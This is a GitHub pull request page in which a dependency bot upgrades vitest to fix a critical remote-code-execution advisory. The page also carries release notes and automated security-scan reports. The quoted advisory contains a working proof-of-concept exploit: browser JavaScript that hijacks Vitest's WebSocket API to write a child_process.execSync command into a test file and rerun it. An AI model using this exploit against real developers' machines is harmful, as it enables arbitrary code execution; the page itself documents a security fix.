Skip to content

chore(deps): update dependency vitest to v1.6.1 [security]#78

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v1.6.1 [security]#78
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 4, 2025 •
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.0.4 → 1.6.1 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
  • api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in #​5493 (780b1)
    • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.0

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

v1.2.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot requested a review from sullivanpj as a code owner February 4, 2025 17:41
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 679fd2a to 5a8c7f5 Compare August 10, 2025 13:10
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5a8c7f5 to 08f77f5 Compare December 6, 2025 13:19
@renovate renovate Bot requested a review from a team December 6, 2025 13:19
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 08f77f5 to 50288fa Compare December 17, 2025 07:48
@renovate renovate Bot changed the title fix(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] Dec 17, 2025
@deepsource-io

deepsource-io Bot commented Dec 17, 2025 •
edited
Loading

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in fb59a67...02f3fc6 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade   Security  

Reliability  

Complexity  

Hygiene  

Code Review Summary

Analyzer Status Updated (UTC) Details
JavaScript Jun 11, 2026 6:58p.m. Review ↗
Shell Jun 11, 2026 6:58p.m. Review ↗

Important

AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 50288fa to 363d634 Compare December 18, 2025 21:47
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 363d634 to 5406557 Compare December 31, 2025 14:55
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5406557 to 005a21a Compare January 8, 2026 20:33
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 0b399c9 to f332690 Compare January 23, 2026 19:16
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f332690 to 2d6833a Compare February 2, 2026 21:35
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2d6833a to 9edddf1 Compare February 12, 2026 15:11
@socket-security

socket-security Bot commented Feb 12, 2026 •
edited
Loading

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

Action Severity Alert  (click "▶" to expand/collapse)
Warn High
Obfuscated code: npm @noble/hashes is 90.0% likely obfuscated

Confidence: 0.90

Location: Package overview

From: pnpm-lock.yaml → npm/@noble/hashes@1.8.0

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@noble/hashes@1.8.0. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Warn High
Obfuscated code: npm @noble/hashes is 90.0% likely obfuscated

Confidence: 0.90

Location: Package overview

From: pnpm-lock.yaml → npm/@noble/hashes@1.8.0

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@noble/hashes@1.8.0. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Warn High
Obfuscated code: npm @nx/workspace is 90.0% likely obfuscated

Confidence: 0.90

Location: Package overview

From: package.json → npm/@nx/workspace@22.3.1

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@nx/workspace@22.3.1. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Warn High
Obfuscated code: npm @nx/workspace is 90.0% likely obfuscated

Confidence: 0.90

Location: Package overview

From: pnpm-lock.yaml → npm/@nx/workspace@22.7.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@nx/workspace@22.7.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Warn High
Obfuscated code: npm @pnpm/network.ca-file is 90.0% likely obfuscated

Confidence: 0.90

Location: Package overview

From: pnpm-lock.yaml → npm/@pnpm/network.ca-file@1.0.2

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@pnpm/network.ca-file@1.0.2. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

Warn High
Obfuscated code: npm @protobufjs/float is 90.0% likely obfuscated

Confidence: 0.90

Location: Package overview

From: pnpm-lock.yaml → npm/@protobufjs/float@1.0.2

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/@protobufjs/float@1.0.2. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9edddf1 to d30b7eb Compare February 17, 2026 17:41
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d30b7eb to 0a48727 Compare March 5, 2026 15:08
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0a48727 to 1e6ed3c Compare March 13, 2026 15:52
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/npm-vitest-vulnerability branch March 27, 2026 02:27
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed chore(deps): update dependency vitest to v1.6.1 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 9f9a1c2 to a286076 Compare April 1, 2026 17:18
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a286076 to b51cf59 Compare April 8, 2026 14:56
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed chore(deps): update dependency vitest to v1.6.1 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from cbd68f6 to 08f528f Compare April 29, 2026 09:58
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from d253109 to 344fbe2 Compare May 18, 2026 12:31
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 344fbe2 to 14c9e82 Compare May 28, 2026 15:17
@socket-security

socket-security Bot commented May 28, 2026 •
edited
Loading

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security		 Vulnerability Quality Maintenance License
Added@​oclif/​prettier-config@​0.2.1931006080100
Added@​powerlines/​tsconfig@​0.2.437010010098100
Added@​powerlines/​plugin-plugin@​0.12.277410010098100
Added@​nx/​web@​22.3.1761009299100
Added@​nx/​js@​22.3.1761009399100
Added@​nx/​eslint-plugin@​22.3.1761009299100
Added@​oclif/​plugin-help@​6.2.361001007795100
Added@​nx/​workspace@​22.3.1771009299100
Added@​powerlines/​nx@​0.10.68781009997100
Added@​oclif/​test@​3.2.1510010010088100
Added@​nx/​storybook@​22.3.1991009299100
Added@​nx/​devkit@​22.3.1981009399100
Added@​nx/​vite@​22.3.1981009399100
Added@​nx/​react@​22.3.1991009399100
Added@​nx/​plugin@​22.3.11001009399100
Added@​oclif/​core@​3.27.09510010095100
Added@​oclif/​plugin-plugins@​5.4.549910010098100

View full report

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 14c9e82 to cba2b23 Compare June 1, 2026 16:46
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from cba2b23 to 02f3fc6 Compare June 11, 2026 18:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@sullivanpj sullivanpj Awaiting requested review from sullivanpj sullivanpj is a code owner

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants